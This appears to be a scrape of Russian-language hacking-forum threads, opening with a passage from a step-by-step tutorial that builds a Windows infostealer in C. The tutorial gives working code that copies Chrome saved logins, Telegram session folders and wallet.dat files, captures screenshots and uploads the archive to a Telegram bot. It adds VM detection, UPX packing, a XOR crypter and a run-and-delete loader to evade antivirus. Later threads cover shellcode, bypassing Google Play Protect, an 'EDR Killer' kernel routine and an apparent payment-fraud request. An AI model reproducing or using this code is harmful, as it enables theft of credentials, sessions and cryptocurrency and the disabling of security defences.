  2. Функция находит файл Login Data для Google Chrome. Путь к этому файлу формируется с использованием SHGetFolderPath для получения пути к каталогу приложения Chrome. Файл Login Data копируется в текущую рабочую директорию с помощью функции CopyFile.
  3. Вызываем новые функции в основной функции.

Проверяем код и видим, что всё работает успешно!

Вообще, папка AppData — это скрытая системная директория Windows, предназначенная для хранения конфигурационных файлов, кэшированных данных, журналов, сессий и других файлов, которые могут изменяться во время работы приложений. Например, расширения, среди которых будут присутствовать криптокошельки, будут находиться по адресу: AppData\Local\Google\Chrome\User Data\Default\Extension.

В папке Roaming (в директории AppData) приложения сохраняют настройки и данные, которые должны оставаться постоянными для конкретного пользователя, даже если он войдёт в систему с другого компьютера.

Давайте добавим функционал для копирования файлов t_data, отвечающих за сессии Telegram

C:Copy to clipboard

// 1
void copyDirectory(const TCHAR *source, const TCHAR *destination) {
    WIN32_FIND_DATA findFileData;
    HANDLE hFind = INVALID_HANDLE_VALUE;

    TCHAR sourcePath[MAX_PATH];
    _stprintf_s(sourcePath, MAX_PATH, _T("%s\\*"), source);

    hFind = FindFirstFile(sourcePath, &findFileData);
    if (hFind == INVALID_HANDLE_VALUE) {
        _tprintf(_T("Не удалось найти файлы в директории %s\n"), source);
        return;
    }

    do {
        if (_tcscmp(findFileData.cFileName, _T(".")) == 0 || _tcscmp(findFileData.cFileName, _T("..")) == 0) {
            continue;
        }

        TCHAR sourceFile[MAX_PATH], destFile[MAX_PATH];

        _stprintf_s(sourceFile, MAX_PATH, _T("%s\\%s"), source, findFileData.cFileName);
        _stprintf_s(destFile, MAX_PATH, _T("%s\\%s"), destination, findFileData.cFileName);

        if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            CreateDirectory(destFile, NULL);
            copyDirectory(sourceFile, destFile);
        } else {
            if (!CopyFile(sourceFile, destFile, FALSE)) {
                _tprintf(_T("Не удалось скопировать файл %s\n"), sourceFile);
            }
        }
    } while (FindNextFile(hFind, &findFileData) != 0);

    FindClose(hFind);
}

// 2
void copyTelegramData() {
    TCHAR appDataPath[MAX_PATH], telegramPath[MAX_PATH], destPath[MAX_PATH];

    if (SUCCEEDED(SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, appDataPath))) {
        _stprintf_s(telegramPath, MAX_PATH, _T("%s\\Telegram Desktop\\tdata"), appDataPath);

        GetCurrentDirectory(MAX_PATH, destPath);
        _tcscat_s(destPath, MAX_PATH, _T("\\TelegramDesktop"));

        if (CreateDirectory(destPath, NULL) || GetLastError() == ERROR_ALREADY_EXISTS) {
            _tprintf(_T("Копирование данных из папки Telegram Desktop...\n"));
            copyDirectory(telegramPath, destPath);
            _tprintf(_T("Копирование папки Telegram Desktop завершено.\n"));
        } else {
            _tprintf(_T("Не удалось создать папку для копирования.\n"));
        }
    } else {
        _tprintf(_T("Не удалось получить путь к папке AppData.\n"));
    }
}
  1. Рекурсивная функция копирования: Она копирует содержимое одной директории в другую, включая файлы и подпапки. В функцию передаются параметры пути к исходной директории и к целевой директории. Используется структура WIN32_FIND_DATA для получения информации о файлах и папках. Вызов FindFirstFile ищет первый файл или папку в директории. Затем происходит последовательный перебор всех файлов и папок в директории. Проверяются имена элементов на равенство . и .. (служебные папки, обозначающие текущую и родительскую директории). Формируются полные пути для текущего файла или папки в sourceFile и destFile. Если текущий элемент — папка, создаётся соответствующая папка в целевой директории с помощью CreateDirectory, и функция вызывается рекурсивно для этой папки. Если текущий элемент — файл, используется функция CopyFile для копирования из sourceFile в destFile. После завершения цикла поиска вызывается FindClose для освобождения ресурсов.
  2. Функция подготовки путей и вызова copyDirectory: Она подготавливает пути для копирования данных Telegram и вызывает copyDirectory. Сперва возвращается путь к папке AppData для текущего пользователя (CSIDL_APPDATA). Этот путь сохраняется в appDataPath. К пути AppData добавляется поддиректория Telegram Desktop\tdata для доступа к данным Telegram. Получается текущая рабочая директория. К пути добавляется \TelegramDesktop для хранения данных Telegram. Если папка успешно создана (или уже существует), вызывается copyDirectory для копирования данных из исходной директории telegramPath в destPath. Если не удалось создать папку или получить путь к AppData, выводятся сообщения об ошибке.

Добавим ещё несколько функций:

Функция рекурсивного поиска файлов wallet.dat в системе:

C:Copy to clipboard

void findAndCopyDatFiles(const TCHAR *directory, const TCHAR *destination) {
    WIN32_FIND_DATA findFileData;
    HANDLE hFind = INVALID_HANDLE_VALUE;

    TCHAR searchPath[MAX_PATH];
    _stprintf_s(searchPath, MAX_PATH, _T("%s\\*"), directory);

    hFind = FindFirstFile(searchPath, &findFileData);
    if (hFind == INVALID_HANDLE_VALUE) {
        return;
    }

    do {
        if (_tcscmp(findFileData.cFileName, _T(".")) == 0 || _tcscmp(findFileData.cFileName, _T("..")) == 0) {
            continue;
        }

        TCHAR sourcePath[MAX_PATH], destPath[MAX_PATH];
        _stprintf_s(sourcePath, MAX_PATH, _T("%s\\%s"), directory, findFileData.cFileName);
        _stprintf_s(destPath, MAX_PATH, _T("%s\\%s"), destination, findFileData.cFileName);

        if (findFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
            findAndCopyDatFiles(sourcePath, destination);
        } else {
            if (_tcsstr(findFileData.cFileName, _T("wallet.dat")) != NULL) {
                CopyFile(sourcePath, destPath, FALSE);
            }
        }
    } while (FindNextFile(hFind, &findFileData) != 0);

    FindClose(hFind);
}

Функция ищет все файлы и папки в заданной директории. Для папок выполняется рекурсивный поиск с углублением в их содержимое. Если в имени файла содержится строка wallet.dat, файл копируется в указанную целевую папку.

Функция для создания скриншота и сохранения его в формате BMP:

C:Copy to clipboard

void takeScreenshot(const TCHAR *filePath) {
    HWND hwndDesktop = GetDesktopWindow();
    HDC hdcScreen = GetDC(hwndDesktop);
    HDC hdcMemory = CreateCompatibleDC(hdcScreen);

    RECT desktopRect;
    GetClientRect(hwndDesktop, &desktopRect);

    int width = desktopRect.right;
    int height = desktopRect.bottom;

    HBITMAP hBitmap = CreateCompatibleBitmap(hdcScreen, width, height);
    SelectObject(hdcMemory, hBitmap);

    BitBlt(hdcMemory, 0, 0, width, height, hdcScreen, 0, 0, SRCCOPY);

    BITMAPFILEHEADER bfh;
    BITMAPINFOHEADER bih;

    bih.biSize = sizeof(BITMAPINFOHEADER);
    bih.biWidth = width;
    bih.biHeight = -height;
    bih.biPlanes = 1;
    bih.biBitCount = 32;
    bih.biCompression = BI_RGB;
    bih.biSizeImage = 0;
    bih.biXPelsPerMeter = 0;
    bih.biYPelsPerMeter = 0;
    bih.biClrUsed = 0;
    bih.biClrImportant = 0;

    DWORD bitmapSize = ((width * bih.biBitCount + 31) / 32) * 4 * height;
    char *bitmapData = (char *)malloc(bitmapSize);

    if (!bitmapData) {
        printf("Ошибка: недостаточно памяти для создания скриншота.\n");
        DeleteObject(hBitmap);
        DeleteDC(hdcMemory);
        ReleaseDC(hwndDesktop, hdcScreen);
        return;
    }

    GetDIBits(hdcMemory, hBitmap, 0, height, bitmapData, (BITMAPINFO *)&bih, DIB_RGB_COLORS);

    FILE *file = _tfopen(filePath, _T("wb"));
    if (file) {
        bfh.bfType = 0x4D42;
        bfh.bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + bitmapSize;
        bfh.bfReserved1 = 0;
        bfh.bfReserved2 = 0;
        bfh.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER);

        fwrite(&bfh, sizeof(BITMAPFILEHEADER), 1, file);
        fwrite(&bih, sizeof(BITMAPINFOHEADER), 1, file);
        fwrite(bitmapData, bitmapSize, 1, file);

        fclose(file);
    } else {
        printf("Ошибка: не удалось открыть файл для записи.\n");
    }

    free(bitmapData);
    DeleteObject(hBitmap);
    DeleteDC(hdcMemory);
    ReleaseDC(hwndDesktop, hdcScreen);
}

Функция работает следующим образом: Получает размеры рабочего стола. Создаёт растровое изображение, совместимое с экраном. Копирует содержимое экрана в растровое изображение. Извлекает пиксельные данные и записывает их в файл BMP. Освобождает используемые ресурсы.

После сбора всей информации её необходимо отправить. Однако перед этим нужно уменьшить объём данных, поместив их в архив. Для этого я буду использовать утилиту WinRAR (с помощью системной команды), которая установлена на многих компьютерах. Это будет выполнено в следующей функции.

C:Copy to clipboard

void createRarFromFolder(const char *folderPath, const char *rarFilePath) {
    char command[MAX_PATH];
    snprintf(command, MAX_PATH, "rar a -r \"%s\" \"%s\\*\"", rarFilePath, folderPath);


    printf("Создание RAR архива командой: %s\n", command);
    int result = system(command);

    if (result == 0) {
        printf("RAR архив успешно создан: %s\n", rarFilePath);
    } else {
        printf("Ошибка при создании RAR архива.\n");
    }
}

Предполагается, что переменная PATH содержит путь к WinRAR. Также можно использовать строку с полным путём, например: snprintf(command, MAX_PATH, ""C:\\Program Files\\WinRAR\\rar.exe" a -r %s %s\\*", rarFilePath, folderPath);

Отправка информации

Следующим шагом будет отправка полученной информации. В качестве приёмника/передатчика информации могут выступать различные серверы, включая серверы Telegram-бота.

Сам Telegram-бот будет реализован на языке Golang. В первую очередь необходимо создать Telegram-бота, получить и сохранить токен, затем написать ему команду /start и обратиться к эндпоинту https://api.telegram.org/bot{our_bot_token}/getUpdates, чтобы узнать chat ID. Это позволит боту отправлять полученные данные только в нужный чат.

Мы воспользуемся библиотекой github.com/go-telegram-bot-api/telegram-bot-api. Код будет выглядеть следующим образом. После запуска кода мы вернёмся к проекту на языке C.

C-like:Copy to clipboard

package main

import (
    "fmt"
    "io"
    "log"
    "net/http"
    "os"

    tgbotapi "github.com/go-telegram-bot-api/telegram-bot-api/v5"
)

func downloadFile(bot *tgbotapi.BotAPI, fileID, savePath string) error {
    file, err := bot.GetFile(tgbotapi.FileConfig{FileID: fileID})
    if err != nil {
        return fmt.Errorf("не удалось получить информацию о файле: %v", err)
    }

    fileURL := file.Link(bot.Token)

    resp, err := http.Get(fileURL)
    if err != nil {
        return fmt.Errorf("ошибка при загрузке файла: %v", err)
    }
    defer resp.Body.Close()

    out, err := os.Create(savePath)
    if err != nil {
        return fmt.Errorf("не удалось создать файл %s: %v", savePath, err)
    }
    defer out.Close()

    _, err = io.Copy(out, resp.Body)
    if err != nil {
        return fmt.Errorf("ошибка при сохранении файла: %v", err)
    }

    return nil
}

func main() {
    botToken := ""
    adminChatID := int64()

    bot, err := tgbotapi.NewBotAPI(botToken)
    if err != nil {
        log.Fatalf("Ошибка создания бота: %v", err)
    }

    u := tgbotapi.NewUpdate(0)
    u.Timeout = 60

    updates := bot.GetUpdatesChan(u)

    for update := range updates {
        if update.Message != nil {
            if update.Message.Document != nil {
                fileID := update.Message.Document.FileID

                savePath := "received_file.rar"

                err := downloadFile(bot, fileID, savePath)
                if err != nil {
                    log.Printf("Ошибка загрузки файла: %v\n", err)
                    continue
                }

                msg := tgbotapi.NewMessage(adminChatID, "Файл успешно загружен и сохранен как received_file.rar")
                _, err = bot.Send(msg)
                if err != nil {
                    log.Printf("Ошибка отправки уведомления администратору: %v\n", err)
                }

                fmt.Printf("Файл получен и сохранен как %s\n", savePath)
            }
        }
    }
}

Реализация функции sendFileToTelegram.

C:Copy to clipboard

BOOL sendFileToTelegram(const char *filePath, const char *botToken, const char *chatID) {

    char url[512];
    snprintf(url, sizeof(url), "/bot%s/sendDocument", botToken);

    // 1
    HINTERNET hInternet = InternetOpenA("TelegramUploader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (!hInternet) {
        printf("Ошибка: InternetOpenA\n");
        return FALSE;
    }

    // 2
    HINTERNET hSession = InternetConnectA(hInternet, "api.telegram.org", INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    if (!hSession) {
        printf("Ошибка: InternetConnectA\n");
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    // 3
    HINTERNET hRequest = HttpOpenRequestA(hSession, "POST", url, NULL, NULL, NULL, INTERNET_FLAG_SECURE, 0);
    if (!hRequest) {
        printf("Ошибка: HttpOpenRequestA\n");
        InternetCloseHandle(hSession);
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    // 4
    FILE *file = fopen(filePath, "rb");
    if (!file) {
        printf("Ошибка: Не удалось открыть файл %s\n", filePath);
        InternetCloseHandle(hRequest);
        InternetCloseHandle(hSession);
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    // 5
    fseek(file, 0, SEEK_END);
    long fileSize = ftell(file);
    rewind(file);

    char *fileContent = (char *)malloc(fileSize);
    if (!fileContent) {
        printf("Ошибка: Недостаточно памяти для содержимого файла\n");
        fclose(file);
        InternetCloseHandle(hRequest);
        InternetCloseHandle(hSession);
        InternetCloseHandle(hInternet);
        return FALSE;
    }

    fread(fileContent, 1, fileSize, file);
    fclose(file);

    // 6
    char headers[] = "Content-Type: multipart/form-data; boundary=---Boundary";
    char bodyStart[1024];
    snprintf(bodyStart, sizeof(bodyStart),
        "-----Boundary\r\n"
        "Content-Disposition: form-data; name=\"chat_id\"\r\n\r\n%s\r\n"
        "-----Boundary\r\n"
        "Content-Disposition: form-data; name=\"document\"; filename=\"archive.rar\"\r\n"
        "Content-Type: application/octet-stream\r\n\r\n",
        chatID);

    char bodyEnd[] = "\r\n-----Boundary--";
    DWORD bodySize = strlen(bodyStart) + fileSize + strlen(bodyEnd);

    char *body = (char *)malloc(bodySize);
    memcpy(body, bodyStart, strlen(bodyStart));
    memcpy(body + strlen(bodyStart), fileContent, fileSize);
    memcpy(body + strlen(bodyStart) + fileSize, bodyEnd, strlen(bodyEnd));

    // 7
    BOOL sendResult = HttpSendRequestA(hRequest, headers, strlen(headers), body, bodySize);

    if (!sendResult) {
        printf("Ошибка: HttpSendRequestA\n");
    } else {
        printf("Файл успешно отправлен в Telegram\n");
    }

    free(fileContent);
    free(body);
    InternetCloseHandle(hRequest);
    InternetCloseHandle(hSession);
    InternetCloseHandle(hInternet);

    return sendResult;
}

Функция будет использовать библиотеку Windows Internet (WinINet), которая предоставляет API для взаимодействия с интернет-протоколами. Разберём её подробнее:

  1. Инициализация доступа к Интернету. "TelegramUploader" — это имя приложения (отображается в User-Agent). Соединение осуществляется напрямую, без прокси. Функция возвращает хендл HINTERNET, который используется в дальнейших вызовах API.
  2. Открытие соединения с сервером. Соединение устанавливается с сервером Telegram API по адресу "api.telegram.org" на порту 443. Возвращается хендл, представляющий сессию. Если соединение установить не удалось, ресурсы, выделенные на предыдущем шаге, освобождаются с помощью InternetCloseHandle.
  3. Создание HTTP-запроса. На этом этапе формируется HTTP-запрос для взаимодействия с API.
  4. Открытие файла. Файл по указанному пути открывается в бинарном режиме (rb). Это означает, что файл читается как есть, без преобразований содержимого.
  5. Чтение содержимого файла. Сначала с помощью fseek и ftell определяется размер файла. Затем с помощью malloc выделяется память под содержимое файла, а функция fread загружает данные файла в буфер fileContent.
  6. Формирование тела запроса. В заголовках указывается тип содержимого multipart/form-data с границей ---Boundary. Формируется часть тела запроса bodyStart, которая содержит параметры chat_id и начало файла. В конце добавляется завершающая граница bodyEnd. Для объединения начала, содержимого файла и конца в единый буфер body используется функция memcpy.
  7. Отправка HTTP-запроса и освобождение ресурсов. Запрос отправляется с использованием подготовленного тела. После этого освобождаются все ресурсы, включая память, выделенную под буферы, и закрываются все хендлы.

В качестве альтернативы использованию Telegram может выступать другой сервер, то есть самостоятельно разработанный сервер на каком-либо языке программирования. Можно использовать как HTTP-протокол, так и WebSocket. По сути, сервер будет выступать архитектурным решением типа C2: он сможет собирать данные, выводить их в удобном виде, собирать статистику и выполнять любые функции, которые мы захотим добавить к коду программы.

Мы также можем использовать различные альтернативные протоколы, например, протоколы почтовых серверов.

Дальнейшие шаги

Реализуем код, который будет проверять, не запущена ли программа в виртуальном окружении. Код будет анализировать сразу несколько возможных паттернов.

C:Copy to clipboard

// 1
int isVirtualMachineByBios() {
    char biosData[256] = {0};
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", 0, KEY_READ, &hKey) != ERROR_SUCCESS) {
        return 0;
    }

    DWORD size = sizeof(biosData);
    if (RegQueryValueExA(hKey, "SystemBiosVersion", NULL, NULL, (LPBYTE)biosData, &size) == ERROR_SUCCESS) {
        if (strstr(biosData, "VMware") || strstr(biosData, "VirtualBox") ||
            strstr(biosData, "VBOX") || strstr(biosData, "QEMU") || strstr(biosData, "Hyper-V")) {
            RegCloseKey(hKey);
            return 1;
        }
    }
    RegCloseKey(hKey);
    return 0;
}

// 2
int isVirtualMachineByProcess() {
    const char *vmProcesses[] = {"vmtoolsd.exe", "VBoxService.exe", "VBoxTray.exe", "vmware.exe", "qemu-ga.exe"};
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snapshot == INVALID_HANDLE_VALUE) return 0;

    if (Process32First(snapshot, &entry)) {
        do {
            for (int i = 0; i < sizeof(vmProcesses) / sizeof(vmProcesses[0]); i++) {
                if (_stricmp(entry.szExeFile, vmProcesses[i]) == 0) {
                    CloseHandle(snapshot);
                    return 1;
                }
            }
        } while (Process32Next(snapshot, &entry));
    }
    CloseHandle(snapshot);
    return 0;
}


// 3
int isVirtualMachineByDrivers() {
    const char *vmDrivers[] = {"VBoxSF", "VBoxMouse", "VBoxGuest", "vmhgfs", "vmci"};
    for (int i = 0; i < sizeof(vmDrivers) / sizeof(vmDrivers[0]); i++) {
        if (GetModuleHandleA(vmDrivers[i]) != NULL) {
            return 1;
        }
    }
    return 0;
}

// 4
int isRunningOnVirtualMachine() {
    if (isVirtualMachineByBios()) {
        printf("Обнаружена виртуальная машина через BIOS!\n");
        return 1;
    }

    if (isVirtualMachineByProcess()) {
        printf("Обнаружена виртуальная машина по процессам!\n");
        return 1;
    }

    if (isVirtualMachineByDrivers()) {
        printf("Обнаружена виртуальная машина по драйверам!\n");
        return 1;
    }

    return 0;
}
  1. Функция проверяет наличие признаков виртуальной машины через информацию о BIOS. Открывается ключ реестра HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System для чтения, и считывается значение, содержащее информацию о BIOS. Далее оно сравнивается с известными строками, которые могут указывать на виртуальные машины: VMware, VirtualBox, VBOX, QEMU, Hyper-V.
  2. Следующая функция проверяет, запущены ли процессы, типичные для виртуальных машин. Используется CreateToolhelp32Snapshot для получения списка всех активных процессов. Затем выполняется итерация по всем процессам, и каждый процесс сравнивается с известными именами исполняемых файлов, связанными с виртуальными машинами.
  3. Функция проверяет наличие драйверов, характерных для виртуальных машин. Создаётся список известных виртуальных драйверов. Для каждого драйвера вызывается функция GetModuleHandleA, чтобы проверить, загружен ли он в память.
  4. Все проверки объединяются в рамках одной функции для комплексного анализа.

Для уменьшения размера исполняемого файла, затруднения статического анализа и обхода сигнатурного анализа воспользуемся упаковщиком UPX (Ultimate Packer for eXecutables). Принцип работы следующий: исходный файл → UPX сжимает и добавляет декомпрессор → создаётся новый исполняемый файл. При запуске: декомпрессор загружает сжатый код → распаковывает его в оперативную память → выполняет оригинальный код.

Команда для работы: upx --best -o main_packed.exe main.exe. Флаг --best указывает UPX использовать максимальный уровень сжатия, флаг -o означает output (выходной файл).

Далее попробуем реализовать простой криптор файла. Криптор служит для схожих задач с упаковщиком, за исключением того, что криптор заточен на обход антивирусных систем, тогда как упаковщик предназначен для сжатия исполняемого файла.

В его алгоритме используется XOR-операция с заданным ключом. XOR (исключающее ИЛИ) — это логическая операция, которая работает с двумя битами. Она сравнивает два бита и возвращает 1, если эти биты разные, и 0, если они одинаковые. Каждый байт из исходного файла будет подвергаться операции XOR с определённым значением ключа.

Предположим, у нас есть символ (байт) с ASCII значением 65 (это символ "A"). И наш ключ — 123 (в десятичной системе):

  • Исходный символ (байт): 65 (в двоичной системе 01000001)
  • Ключ (123) в двоичной системе: 01111011

Теперь применяем XOR: 01000001 (65) XOR 01111011 (123) = 00111010 (58).

Результат: 58 (в десятичной системе), что соответствует символу ":". Таким образом, символ "A" с помощью XOR-операции и ключа 123 превращается в символ ":".

Процесс дешифровки работает так же, потому что XOR имеет свойство, при котором дважды применённая операция XOR с одним и тем же ключом возвращает исходное значение. То есть, если мы зашифровали файл с помощью XOR, мы можем снова применить XOR с тем же ключом, чтобы восстановить исходные данные.

Перей

C:Copy to clipboard

дём к коду криптора:

#include <stdio.h>
#include <stdlib.h>

void xorEncryptDecrypt(const char *inputFile, const char *outputFile, const char key) {
    FILE *in = fopen(inputFile, "rb");
    FILE *out = fopen(outputFile, "wb");

    if (!in || !out) {
        printf("Ошибка при открытии файлов.\n");
        return;
    }

    int byte;
    while ((byte = fgetc(in)) != EOF) {
        fputc(byte ^ key, out);
    }

    fclose(in);
    fclose(out);
    printf("Файл успешно обработан.\n");
}

int main(int argc, char *argv[]) {
    if (argc != 4) {
        printf("Использование: %s <inputFile> <outputFile> <key>\n", argv[0]);
        return 1;
    }

    const char key = (char)atoi(argv[3]);
    xorEncryptDecrypt(argv[1], argv[2], key);
    return 0;
}

Читаем каждый байт исходного файла, реализуем операцию XOR с ключом и записываем результат в выходной файл.

Напишем также условный лоудер простейшей формы. Его задача — восстанавливать файл, запускать его и удалять, тем самым временно расшифровывая код только в памяти.

C:Copy to clipboard

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

void xorDecryptToFile(const char *encryptedFile, const char *outputFile, const char key) {
    FILE *in = fopen(encryptedFile, "rb");
    FILE *out = fopen(outputFile, "wb");

    if (!in || !out) {
        printf("Ошибка открытия файлов.\n");
        if (in) fclose(in);
        if (out) fclose(out);
        return;
    }

    int byte;
    while ((byte = fgetc(in)) != EOF) {
        fputc(byte ^ key, out);
    }

    fclose(in);
    fclose(out);
    printf("Файл успешно дешифрован в %s\n", outputFile);
}

int main(int argc, char *argv[]) {
    if (argc != 3) {
        printf("Использование: %s <encryptedFile> <key>\n", argv[0]);
        return 1;
    }

    const char key = (char)atoi(argv[2]);
    const char *tempFile = "temp_main.exe";

    xorDecryptToFile(argv[1], tempFile, key);

    printf("Запуск временного файла...\n");
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;

    if (!CreateProcess(NULL, tempFile, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        printf("Ошибка запуска процесса.\n");
        return 1;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    if (remove(tempFile) == 0) {
        printf("Временный файл удалён.\n");
    } else {
        printf("Не удалось удалить временный файл.\n");
    }

    return 0;
}

Код расшифровывает зашифрованный файл с использованием того же ключа и вызывает функцию CreateProcess для запуска расшифрованного файла (temp_main.exe). Затем программа ждёт завершения выполнения и после этого удаляет временный файл.

Поскольку у программы нет цели оставаться в системе больше чем на один запуск, никаких шагов по обеспечению постоянства, таких как DLL-инъекции, предпринимать не будет.

Трям! Пока!

Как получить Fls индексы или их коллбеки?
ID: 6765d804b4103b69df37574b
Thread ID: 106184
Created: 2024-01-19T10:54:44+0000
Last Post: 2024-01-19T10:54:44+0000
Author: Nekres
Replies: 0 Views: 180

Суть такова. Написал шелл, в котором решил обнулить весь образ файла, из которого был произведен вызов. Далее шелл выполняет какие-то действия, а в конце, так как возвращаться ему в нули не стоит, вызывает ExitProcess. И вроде бы все должно быть нормально, однако в действительности происходит весьма странная ерунда:
Вызывается ExitProcess, в нем RtlExitUserProcess, внутри снова происходят какие-то танцы с бубном, и на моменте вызова LdrShutdownProcess (внутри вызываются какие-то неизвестные функции ntdll) бросает в нули, а конкретнее в какое-то место из .text секции. Запустил Идочку, поглядел, оказалось, что в этом месте расположилась ___vcrt_freefls функция из стандартной библиотеки.
Стало ясно, что для корректного срабатывания необходимо освободить через FlsFree все эти коллбеки. И, боже мой, PEB имеет соответствующие поля для этого. Однако, как оказалось, в них не содержится ровным счетом ничего!

PEB, по идее, должна хранить инфу в следующих полях (но не хранит):

C:Copy to clipboard

_FLS_CALLBACK_INFO* FlsCallbacks;
LIST_ENTRY FlsListHead;
PVOID FlsBitmap;
ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];
ULONG FlsHighIndex; //also FlsCount

Кустарное решение, которое сработало в частном случае:

C:Copy to clipboard

for (DWORD index = 1; index < 6; index++)
    FlsFree(index);

Но такое решение мало того, что не присуще джентльменам, так еще и неясно в каком процессе может оказаться шелл, а винда позволяет, как минимум, хранить 1088 коллбеков (так где-то было написано), а макрос из недокументированной документации и вовсе объявляет FLS_MAXIMUM_AVAILABLE равным 4080. Тысячи раз вызывать функцию считаю непрактичным.

Отсюда и возникает вопрос: как получить индексы FLS или список коллбеков.

android bypass google protect help
ID: 6765d804b4103b69df3758ac
Thread ID: 69946
Created: 2022-07-11T09:07:43+0000
Last Post: 2022-07-11T10:40:50+0000
Author: nullnullnull
Replies: 0 Views: 180

Can anyone help me with a solution for my bot?
i'm having problems with google play protect, easily solved with crypter but i wanted a solution straight to the source

Installation Blocked by Google Play Protect* :(

Can separating part of the code and loading with dexclassloader be a solution?

Call me telegram or send pm if you know how to help me https://t.me/dr0id_b0ss

Кто может создать сайт или мерч?
ID: 6765d804b4103b69df3758ad
Thread ID: 69882
Created: 2022-07-10T06:17:09+0000
Last Post: 2022-07-10T13:59:33+0000
Author: Mizo Cash
Replies: 1 Views: 180

Доброго времени суток Господа
Ищу человека, кто может создать мерч оплаты с карты, с банков USA и EU
Также, кто может создать магазин одежды на usa платформе
Отпишите в лс или по контактам, строго те, кто реально может
С уважением к вам MizoCash

t.me

MIZO CASH

You can contact @Mizocash right away.

t.me t.me

Вопрос по ReadProcessMemory C++
ID: 6765d804b4103b69df3757b4
Thread ID: 95482
Created: 2023-08-11T20:52:47+0000
Last Post: 2023-08-12T06:53:36+0000
Author: Alexey18
Replies: 4 Views: 179

Доброго времени суток. Короче нашёл статью года 19 про AOB Scan на C#. Переписал его на C++. Проблем с ним нет, сигнатуры находит.
Нашёл он мне адресс с сигнатурой. А на адрес ниже лежат данные о количестве жизней(ходов). Короче я запутался как спуститься на один адресс всего-то в низ, чтобы правильно считать данные в int

C++:Copy to clipboard

std::cout << "Found address: 0x" << std::hex << ADDRESS << std::endl;
                        int buffer = 0;

                        SIZE_T bytesRead = 0;
                        if (!ReadProcessMemory(process, (LPCVOID)(ADDRESS+ sizeof(int)), &buffer, sizeof(buffer), &bytesRead)) {
                            std::cerr << "Не удалось прочитать данные из памяти процесса\n";
                            return -1;
                        }

                        std::cout << "Health: " << std::dec << buffer << std::endl;

View attachment 63129

enum PsSetCreateProcessNotifyRoutine
ID: 6765d804b4103b69df3757d9
Thread ID: 90540
Created: 2023-06-14T22:50:03+0000
Last Post: 2023-06-14T23:34:47+0000
Author: stomp
Replies: 2 Views: 179

delau EDR Killer, zashel v typik pri polychenii offsetov

Hidden content for authorized users.

C:Copy to clipboard

ULONG64 FindPspCreateProcessNotifyRoutine()
{
    LONG OffsetAddr = 0;
    ULONG64    i = 0;
    ULONG64 pCheckArea = 0;
    UNICODE_STRING unstrFunc;

    RtlInitUnicodeString(&unstrFunc, L"PsSetCreateProcessNotifyRoutine");
    pCheckArea = (ULONG64)MmGetSystemRoutineAddress(&unstrFunc);
    KdPrint(("[+] PsSetCreateProcessNotifyRoutine is at address: %llx \n", pCheckArea));

    for (i = pCheckArea; i < pCheckArea + 20; i++)
    {
        if ((*(PUCHAR)i == OPCODE_PSP[g_WindowsIndex]))
        {
            OffsetAddr = 0;
            memcpy(&OffsetAddr, (PUCHAR)(i + 1), 4);
            pCheckArea = pCheckArea + (i - pCheckArea) + OffsetAddr + 5;
            break;
        }
    }

    KdPrint(("[+] PspSetCreateProcessNotifyRoutine is at address: %llx \n", pCheckArea));

    for (i = pCheckArea; i < pCheckArea + 0xff; i++)
    {
        if (*(PUCHAR)i == OPCODE_LEA_R13_1[g_WindowsIndex] && *(PUCHAR)(i + 1) == OPCODE_LEA_R13_2[g_WindowsIndex] && *(PUCHAR)(i + 2) == OPCODE_LEA_R13_3[g_WindowsIndex])
        {
            OffsetAddr = 0;
            memcpy(&OffsetAddr, (PUCHAR)(i + 3), 4);
            return OffsetAddr + 7 + i;
        }
    }
    return 0;
}

kod vzyal tyt: [click](https://github.com/uf0o/windows-ps-callbacks- experiments)

sobstvenno... lovlu bsod kogda vizivau ety funkciu... videl takyu zhe realizaciu tol'ko y kitaicev:

Hidden content for authorized users.

C:Copy to clipboard

ULONG64 FindPspCreateProcessNotifyRoutine()
{
LONG  OffsetAddr=0;
ULONG64  i=0,pCheckArea=0;
UNICODE_STRING  unstrFunc;
//获得PsSetCreateProcessNotifyRoutine的地址
RtlInitUnicodeString(&unstrFunc, L"PsSetCreateProcessNotifyRoutine");
pCheckArea = (ULONG64)MmGetSystemRoutineAddress (&unstrFunc);
//获得PspSetCreateProcessNotifyRoutine的地址
memcpy(&OffsetAddr,(PUCHAR)pCheckArea+4,4);
pCheckArea=(pCheckArea+3)+5+OffsetAddr;
DbgPrint("PspSetCreateProcessNotifyRoutine: %llx",pCheckArea);
//获得PspCreateProcessNotifyRoutine的地址
for(i=pCheckArea;i<pCheckArea+0xff;i++)
{
if(*(PUCHAR)i==0x4c && *(PUCHAR)(i+1)==0x8d && *(PUCHAR)(i+2)==0x35)  //lea r14,xxxx
{
LONG OffsetAddr=0;
memcpy(&OffsetAddr,(PUCHAR)(i+3),4);
return OffsetAddr+7+i;
}
}
return 0;
}

on bsod ne vidaet, no offset ne nahodit...
mozhet est' tyt znaushie?

SEAL Library CMake
ID: 6765d804b4103b69df375750
Thread ID: 105427
Created: 2024-01-09T22:19:27+0000
Last Post: 2024-01-09T22:19:27+0000
Author: DimmuBurgor
Replies: 0 Views: 178

